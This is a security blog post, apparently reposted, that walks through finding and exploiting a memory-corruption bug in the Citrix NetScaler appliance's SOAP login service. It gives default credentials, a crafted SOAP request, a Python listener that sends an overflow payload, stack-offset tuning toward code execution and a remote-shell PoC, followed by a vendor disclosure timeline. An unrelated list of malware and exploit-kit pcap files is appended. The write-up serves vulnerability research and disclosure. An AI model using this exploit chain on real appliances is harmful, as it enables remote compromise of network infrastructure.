Wednesday, May 31, 2023

Scaling The NetScaler


A few months ago I noticed that Citrix provides virtual appliances to test their applications, I decided to pull down an appliance and take a peek. First I started out by downloading the trial Netscaler VM (version 10.1-119.7) from the following location:

http://www.citrix.com/products/netscaler-application-delivery-controller/try.html

Upon boot, the appliance is configured with nsroot/nsroot for the login and password. I logged in and started looking around and noticed that the web application is written in PHP using the code igniter framework (screw that crap). Since code igniter abstracts everything with MVC and actual scripts are hidden behind routes I decided to take a look at the apache configuration. I noticed that apache was configured with a SOAP endpoint that was using shared objects (YUMMY):

/etc/httpd 
# SOAP handler
<Location /soap>
SetHandler gsoap-handler SOAPLibrary /usr/lib/libnscli90.so SupportLibrary /usr/lib/libnsapps.so </Location>
It wasn't clear what this end point was used for and it wasn't friendly if you hit it directly:




So I grep'd through the application code looking for any calls to this service and got a hit:
root@ns# grep -r '/soap' *
models/common/xmlapi_model.php: $this->soap_client = new nusoap_client("http://" . $this->server_ip . "/soap");

Within this file I saw this juicy bit of PHP which would have made this whole process way easier if it wasn't neutered with the hardcoded "$use_api = true;"


/netscaler/ns_gui/admin_ui/php/application/models/common/xmlapi_model.php
protected function command_execution($command, $parameters, $use_api = true) {
//Reporting can use API & exe to execute commands. To make it work, comment the following line.
$use_api = true; if(!$use_api)
{
$exec_command = "/netscaler/nscollect " . $this- >convert_parameters_to_string($command, $parameters);
$this->benchmark->mark("ns_exe_start");
$exe_result = exec($exec_command); $this->benchmark->mark("ns_exe_end");
$elapsed_time = $this->benchmark->elapsed_time("ns_exe_start",
"ns_exe_end");
log_message("profile", $elapsed_time . " --> EXE_EXECUTION_TIME " .
$command); $this->result["rc"] = 0;
$this->result["message"] = "Done"; $this->result["List"] = array(array("response" => $exe_result));
$return_value = 0;
For giggles I set it to false and gave it a whirl, worked as expected :(

The other side of this "if" statement was a reference to making a soap call and due to the reference to the local "/soap" and the fact all roads from "do_login" were driven to this file through over nine thousand levels of abstraction it was clear that upon login the server made an internal request to this endpoint. I started up tcpdump on the loopback interface on the box and captured an example request:
root@ns# tcpdump -Ani lo0 -s0 port 80
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on lo0, link-type NULL (BSD loopback), capture size 65535 bytes 23:29:18.169188 IP 127.0.0.1.49731 > 127.0.0.1.80: P 1:863(862) ack 1 win 33304 <nop,nop,timestamp 1659543 1659542>
E...>D@.@............C.P'R...2.............
..R...R.POST /soap HTTP/1.0
Host: 127.0.0.1
User-Agent: NuSOAP/0.9.5 (1.56)
Content-Type: text/xml; charset=ISO-8859-1
SOAPAction: ""
Content-Length: 708
<?xml version="1.0" encoding="ISO-8859-1"?><SOAP-ENV:Envelope SOAP- ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP- ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP- ENC="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body> <ns7744:login xmlns:ns7744="urn:NSConfig"><username xsi:type="xsd:string">nsroot</username><password xsi:type="xsd:string">nsroot</password><clientip
xsi:type="xsd:string">192.168.166.1</clientip><cookieTimeout xsi:type="xsd:int">1800</cookieTimeout><ns xsi:type="xsd:string">192.168.166.138</ns></ns7744:login></SOAP-ENV:Body> </SOAP-ENV:Envelope>
23:29:18.174582 IP 127.0.0.1.80 > 127.0.0.1.49731: P 1:961(960) ack 863 win 33304 <nop,nop,timestamp 1659548 1659543>
E...>[@.@............P.C.2..'R.o.....\.....
..R...R.HTTP/1.1 200 OK
Date: Mon, 02 Jun 2014 23:29:18 GMT
Server: Apache
Last-Modified: Mon, 02 Jun 2014 23:29:18 GMT Status: 200 OK
Content-Length: 615
Connection: keep-alive, close
Set-Cookie: NSAPI=##7BD2646BC9BC8A2426ACD0A5D92AF3377A152EBFDA878F45DAAF34A43 09F;Domain=127.0.0.1;Path=/soap;Version=1
Content-Type: text/xml; charset=utf-8
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP- ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP- ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns="urn:NSConfig"> <SOAP-ENV:Header></SOAP-ENV:Header><SOAP-ENV:Body SOAP- ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <ns:loginResponse><return xsi:type="ns:simpleResult"><rc xsi:type="xsd:unsignedInt">0</rc><message xsi:type="xsd:string">Done</message> </return></ns:loginResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>
I pulled the request out and started playing with it in burp repeater. The one thing that seemed strange was that it had a parameter that was the IP of the box itself, the client string I got...it was used for tracking who was making requests to login, but the other didn't really make sense to me. I went ahead and changed the address to another VM and noticed something strange:





According to tcpdump it was trying to connect to my provided host on port 3010:
root@ns# tcpdump -A host 192.168.166.137 and port not ssh
tcpdump: WARNING: BIOCPROMISC: Device busy
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on 0/1, link-type EN10MB (Ethernet), capture size 96 bytes 23:37:17.040559 IP 192.168.166.138.49392 > 192.168.166.137.3010: S 4126875155:4126875155(0) win 65535 <mss 1460,nop,wscale 1,nop,nop,timestamp 2138392 0,sackOK,eol>

I fired up netcat to see what it was sending, but it was just "junk", so I grabbed a pcap on the loopback interface on the netscaler vm to catch a normal transaction between the SOAP endpoint and the service to see what it was doing. It still wasn't really clear exactly what the data was as it was some sort of "binary" stream:




I grabbed a copy of the servers response and setup a test python client that replied with a replay of the servers response, it worked (and there may be an auth bypass here as it responds with a cookie for some API functionality...). I figured it may be worth shooting a bunch of crap back at the client just to see what would happen. I modified my python script to insert a bunch "A" into the stream:
import socket,sys
resp = "\x00\x01\x00\x00\xa5\xa5"+ ("A"*1000)+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
HOST = None # Symbolic name meaning all available interfaces
PORT = 3010 # Arbitrary non-privileged port
s = None
for res in socket.getaddrinfo(HOST, PORT, socket.AF_UNSPEC,socket.SOCK_STREAM, 0, socket.AI_PASSIVE):
af, socktype, proto, canonname, sa = res
try:
s = socket.socket(af, socktype, proto)
except socket.error as msg:
s = None
continue
try:
s.bind(sa)
s.listen(1)
except socket.error as msg:
s.close()
s = None
continue
break
if s is None:
print 'could not open socket'
sys.exit(1)
conn, addr = s.accept()
print 'Connected by', addr
while 1:
data = conn.recv(1024)
if not data:
break
print 'sending!' conn.send(resp)
print 'sent!' conn.close()


Which provided the following awesome log entry in the Netscaler VM window:



Loading the dump up in gdb we get the following (promising looking):


And the current instruction it is trying to call:



An offset into the address 0x41414141, sure that usually works :P - we need to adjust the payload in a way that EDX is a valid address we can address by offset in order to continue execution. In order to do that we need to figure out where in our payload the EDX value is coming from. The metasploit "pattern_create" works great for this ("root@blah:/usr/share/metasploit-framework/tools# ./pattern_create.rb 1000"). After replacing the "A" *1000 in our script with the pattern we can see that EDX is at offset 610 in our payload:





Looking at the source of EDX, which is an offset of EBP we can see the rest of our payload, we can go ahead and replace the value in our payload at offset 610 with the address of EBP 
resp = "\x00\x01\x00\x00\xa5\xa5"+p[:610]+'\x78\xda\xff\xff'+p[614:]+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

When we run everything again and take a look at our core dump you can see we have progressed in execution and have hit another snag that causes a crash:


The crash was caused because once again the app is trying to access a value at an offset of a bad address (from our payload). This value is at offset 606 in our payload according to "pattern_offset" and if you were following along you can see that this value sits at 0xffffda78 + 4, which is what we specified previously. So we need to adjust our payload with another address to have EDX point at a valid address and keep playing whack a mole OR we can look at the function and possibly find a short cut:




If we can follow this code path keeping EDX a valid memory address and set EBP+12 (offset in our payload) to 0x0 we can take the jump LEAV/RET and for the sake of time and my sanity, unroll the call stack to the point of our control. You will have to trust me here OR download the VM and see for yourself (my suggestion if you have found this interesting :> )

And of course, the money shot:


A PoC can be found HERE that will spawn a shell on port 1337 of the NetScaler vm, hopefully someone has some fun with it :)

It is not clear if this issue has been fixed by Citrix as they stopped giving me updates on the status of this bug. For those that are concerned with the timeline:

6/3/14 - Bug was reported to Citrix
6/4/14 - Confirmation report was received
6/24/14 - Update from Citrix - In the process of scheduling updates
7/14/14 - Emailed asking for update
7/16/14 - Update from Citrix - Still scheduling update, will let me know the following week.
9/22/14 - No further communication received. Well past 100 days, public disclosure


Related news


Collection Of Pcap Files From Malware Analysis


Update: Feb 19. 2015

We have been adding pcaps to the collection so remember to check out the folder ( Pcap collection) for the recent pcaps.

I had a project to test some malicious and exploit pcaps and collected a lot of them (almost 1000) from various public sources. You can see them in the PUBLIC folder. The credits go to the authors of the pcaps listed in the name of each file. Please visit their blogs and sites to see more information about the pcaps, see their recent posts, and send them thanks. The public pcaps have no passwords on them.




Update:Dec 13. 2014 


Despite rare updates of this post, we have been adding pcaps to the collection so remember to check out the folder ( Pcap collection (New link)) for the recent pcaps!



Update:Dec 31. 2013 - added new pcaps

I did some spring cleaning yesterday and came up with these malware and exploit pcaps. Such pcaps are very useful for IDS and signature testing and development, general education, and malware identification. While there are some online public sandboxes offering pcaps for download like Cuckoo or Anubis but  looking for them is a tedious task and you cannot be totally sure the pcap is for the malware family supposedly analysed - in other words, if the sandbox says it is Zeus does not necessarily mean that it is.

I found some good pcap repositories here (http://www.netresec.com/?page=PcapFiles) but there are very few pcaps from malware.

These are from identified and verified (to the best of my knowledge and belief - email me if you find errors) malware samples.

All of them show the first stage with the initial callback and most have the DNS requests as well. A few pcaps show extended malware runs (e.g. purplehaze pcap is over 500mb).
Most pcaps are mine, a few are from online sandboxes, and one is borrowed from malware.dontneedcoffee.com. That said, I can probably find the corresponding samples for all that have MD5 listed if you really need them. Search contagio, some are posted with the samples.

Each file has the following naming convention:
BIN [RTF, PDF] - the filetype of the dropper used, malware family name, MD5, and year+month of the malware analysis.

I will be adding more pcaps in the future. Please donate your pcaps from identified samples, I am sure many of you have.

Thank you




Download


Download all together or separately.

All pcaps archives have the same password (same scheme), email me if you need it. I tried posting it without any passwords and pass infected but they get flagged as malware. Modern AV rips though zips and zips with the pass 'infected' with ease.



APT PCAPS


  1. 2012-12-31 BIN_Xinmic_8761F29AF1AE2D6FACD0AE5F487484A5-pcap
  2. 2013-09-08 BIN_TrojanPage_86893886C7CBC7310F7675F4EFDE0A29-pcap
  3. 2013-09-08 BIN_Darkcomet_DC98ABBA995771480AECF4769A88756E-pcap
  4. 2013-09-02 8202_tbd_ 6D2C12085F0018DAEB9C1A53E53FD4D1-pcap
  5. 2013-09-02 BIN_8202_6d2c12085f0018daeb9c1a53e53fd4d1-pcap
  6. 2013-09-02 BIN_Vidgrab_6fd868e68037040c94215566852230ab-pcap
  7. 2013-09-02 BIN_PlugX_2ff2d518313475a612f095dd863c8aea-pcap
  8. 2013-09-02 BIN_Taidoor_46ef9b0f1419e26f2f37d9d3495c499f-pcap
  9. 2013-09-02 BIN_Vidgrab_660709324acb88ef11f71782af28a1f0-pcap
  10. 2013-09-02 BIN_Gh0st-gif_f4d4076dff760eb92e4ae559c2dc4525-pcap.zip
  11. 2013-07-15 BIN_Taleret.E_5328cfcb46ef18ecf7ba0d21a7adc02c.pcap
  12. 2013-05-14 BIN_Mediana_0AE47E3261EA0A2DBCE471B28DFFE007_2012-10.pcap
  13. 2013-05-14 BIN_Hupigon_8F90057AB244BD8B612CD09F566EAC0C
  14. 2013-05-14 BIN_LetsGo_yahoosb_b21ba443726385c11802a8ad731771c0_2011-07-19
  15. 2013-05-13 BIN_IXESHE_0F88D9B0D237B5FCDC0F985A548254F2-2013-05-pcap
  16. 2013-05-06 BIN_DNSWatch_protux_4F8A44EF66384CCFAB737C8D7ADB4BB8_2012-11-pcap
  17. 2013-05-06 BIN_9002_D4ED654BCDA42576FDDFE03361608CAA_2013-01-30-pcap
  18. 2013-05-06 BIN_BIN_RssFeeder_68EE5FDA371E4AC48DAD7FCB2C94BAC7-2012-06-pcap (not a common name, see the traffic ssheet http://bit.ly/maltraffic )
  19. 2013-04-30 BIN_MSWab_Yayih_FD1BE09E499E8E380424B3835FC973A8_us-pcap
  20. 2013-04-29 BIN_LURK_AF4E8D4BE4481D0420CCF1C00792F484_20120-10-pcap
  21. 2013-04-29 BIN_XTremeRAT_DAEBFDED736903D234214ED4821EAF99_2013-04-13-pcap
  22. BIN_Enfal_Lurid_0fb1b0833f723682346041d72ed112f9_2013-01.pcap
  23. BIN_Gh0st_variant-v2010_B1D09374006E20FA795B2E70BF566C6D_2012-08.pcap
  24. BIN_Likseput_E019E37F19040059AB5662563F06B609_2012-10.pcap
  25. BIN_Nettravler_1f26e5f9b44c28b37b6cd13283838366.pcap
  26. BIN_Nettravler_DA5832657877514306EDD211DEF61AFE_2012-10.pcap
  27. BIN_Sanny-Daws_338D0B855421867732E05399A2D56670_2012-10.pcap
  28. BIN_Sofacy_a2a188cbf74c1be52681f998f8e9b6b5_2012-10.pcap
  29. BIN_Taidoor_40D79D1120638688AC7D9497CC819462_2012-10.pcap
  30. BIN_TrojanCookies_840BD11343D140916F45223BA05ABACB_2012_01.pcap
  31. PDF_CVE-2011-2462_Pdf_2011-12.pcap
  32. RTF_Mongall_Dropper_Cve-2012-0158_C6F01A6AD70DA7A554D48BDBF7C7E065_2013-01.pcap
  33. OSX_DocksterTrojan.pcap

CRIMEWARE PCAPS



  1. 2013-11-12_BIN_ChePro_2A5E5D3C536DA346849750A4B8C8613A-1.pcap
  2. 2013-10-15_BIN_cryptolocker_9CBB128E8211A7CD00729C159815CB1C.pcap
  3. 2013-09-20_BIN_Lader-dlGameoverZeus_12cfe1caa12991102d79a366d3aa79e9.pcap
  4. 2013-09-08 BIN_Tijcont_845B0945D5FE0E0AAA16234DC21484E0-pcap
  5. 2013-09-08 BIN_Kelihos_C94DC5C9BB7B99658C275B7337C64B33-pcap.zip
  6. 2013-08-19 BIN_Nitedrem_508af8c499102ad2ebc1a83fdbcefecb-pcap
  7. 2013-08-17 BIN_sality_CEAF4D9E1F408299144E75D7F29C1810-pcap
  8. 2013-08-15 BIN_torpigminiloader-pcap.zip
  9. 2013-13-08 EK_popads_109.236.80.170_2013-08-13.pcap
  10. 2013-11-08 BIN_Alinav5.3_4C754150639AA3A86CA4D6B6342820BE.pcap
  11. 2013-08-08 BIN_BitcoinMiner_F865C199024105A2FFDF5FA98F391D74-pcap
  12. 2013-08-07 BIN_ZeroAccess_Sirefef_C2A9CCC8C6A6DF1CA1725F955F991940_2013-08-pcap
  13. 2013-07-05 BIN_Kuluoz-Asprox_9F842AD20C50AD1AAB41F20B321BF84B
  14. 2013-05-31 Wordpress-Mutopy_Symmi_20A6EBF61243B760DD65F897236B6AD3-2pcap.pcap
  15. 2013-05-15 BIN_Zeus_b1551c676a54e9127cd0e7ea283b92cc-2012-04.pcap
  16. 2013-05-15 BIN_Gypthoy_3EE49121300384FF3C82EB9A1F06F288-2013-05.pcap
  17. 2013-05-12 BIN_PassAlert_B4A1368515C6C39ACEF63A4BC368EDB2-2013-05-13
  18. 2013-05-12 BIN_HorstProxy_EFE5529D697174914938F4ABF115F762-2013-05-13-pcap
  19. 2013-05-12 BIN_Bitcoinminer_12E717293715939C5196E604591A97DF-2013-05-12-pcap
  20. 2013-05-07 BIN_ZeroAccess_Sirefef_29A35124ABEAD63CD8DB2BBB469CBC7A_2013-05-pcapc
  21. 2013-05-05 BIN_PowerLoader_4497A231DA9BD0EEA327DDEC4B31DA12_2013-05-pcap
  22. 2013-05-05 BIN_GameThief_ECBA0FEB36F9EF975EE96D1694C8164C_2013-03-pcap
  23. 2013-05-05 BIN_PowerLoader_4497A231DA9BD0EEA327DDEC4B31DA12_2013-05-pcap
  24. 2013-04-27 EK_BIN_Blackhole_leadingto_Medfos_0512E73000BCCCE5AFD2E9329972208A_2013-04-pcap
  25. 2013-04-26 -- BIN_Citadel_3D6046E1218FB525805E5D8FDC605361-2013-04-samp 
  26. BIN_CitadelPacked_2012-05.pcap
  27. BIN_CitadelUnpacked_2012-05.pcap
  28. BIN_Cutwail_284Fb18Fab33C93Bc69Ce392D08Fd250_2012-10.pcap
  29. BIN_Darkmegi_2012-04.pcap
  30. BIN_DarknessDDoS_v8g_F03Bc8Dcc090607F38Ffb3A36Ccacf48_2011-01.pcap-
  31. BIN_dirtjumper_2011-10.pcap
  32. BIN_DNSChanger_2011-12.pcap
  33. BIN_Drowor_worm_0f015bb8e2f93fd7076f8d178df2450d_2013-04.pcap
  34. BIN_Googledocs_macadocs_2012-12.pcap
  35. BIN_Imaut_823e9bab188ad8cb30c14adc7e67066d.pcap
  36. BIN_IRCbot_c6716a417f82ccedf0f860b735ac0187_2013-04.pcap
  37. BIN_Kelihos_aka_Nap_0feaaa4adc31728e54b006ab9a7e6afa.pcap
  38. BIN_LoadMoney_MailRu_dl_4e801b46068b31b82dac65885a58ed9e_2013-04 .pcap
  39. BIN_purplehaze-2012-01.pcap
  40. BIN_ponyloader_470a6f47de43eff307a02f53db134289.pcap
  41. BIN_Ramnitpcap_2012-01.pcap
  42. BIN_Reedum_0ca4f93a848cf01348336a8c6ff22daf_2013-03.pcap
  43. BIN_SpyEye_2010-02.pcap
  44. BIN_Stabuniq_F31B797831B36A4877AA0FD173A7A4A2_2012-12.pcap
  45. BIN_Tbot_23AAB9C1C462F3FDFDDD98181E963230_2012-12.pcap
  46. BIN_Tbot_2E1814CCCF0C3BB2CC32E0A0671C0891_2012-12.pcap
  47. BIN_Tbot_5375FB5E867680FFB8E72D29DB9ABBD5_2012-12.pcap
  48. BIN_Tbot_A0552D1BC1A4897141CFA56F75C04857_2012-12.pcap
  49. BIN_Tbot_FC7C3E087789824F34A9309DA2388CE5_2012-12.pcap
  50. BIN_Tinba_2012-06.pcap
  51. BIN_Vobfus_634AA845F5B0B519B6D8A8670B994906_2012-12.pcap
  52. BIN_Xpaj_2012-05.pcap
  53. BIN_ZeroAccess_3169969E91F5FE5446909BBAB6E14D5D_2012-10.pcap
  54. BIN_ZeusGameover_2012-02.pcap
  55. BIN_Zeus_2010-12.pcap
  56. EK_Blackholev1_2012-03.pcap
  57. EK_Blackholev1_2012-08.pcap
  58. EK_Blackholev2_2012-09.pcap
  59. EK_Blackhole_Java_CVE-2012-4681_2012-08.pcap
  60. EK_Phoenix_2012-04.pcap
  61. EK_Smokekt150(Malwaredontneedcoffee)_2012-09.pcap -  credit malware.dontneedcoffee.com


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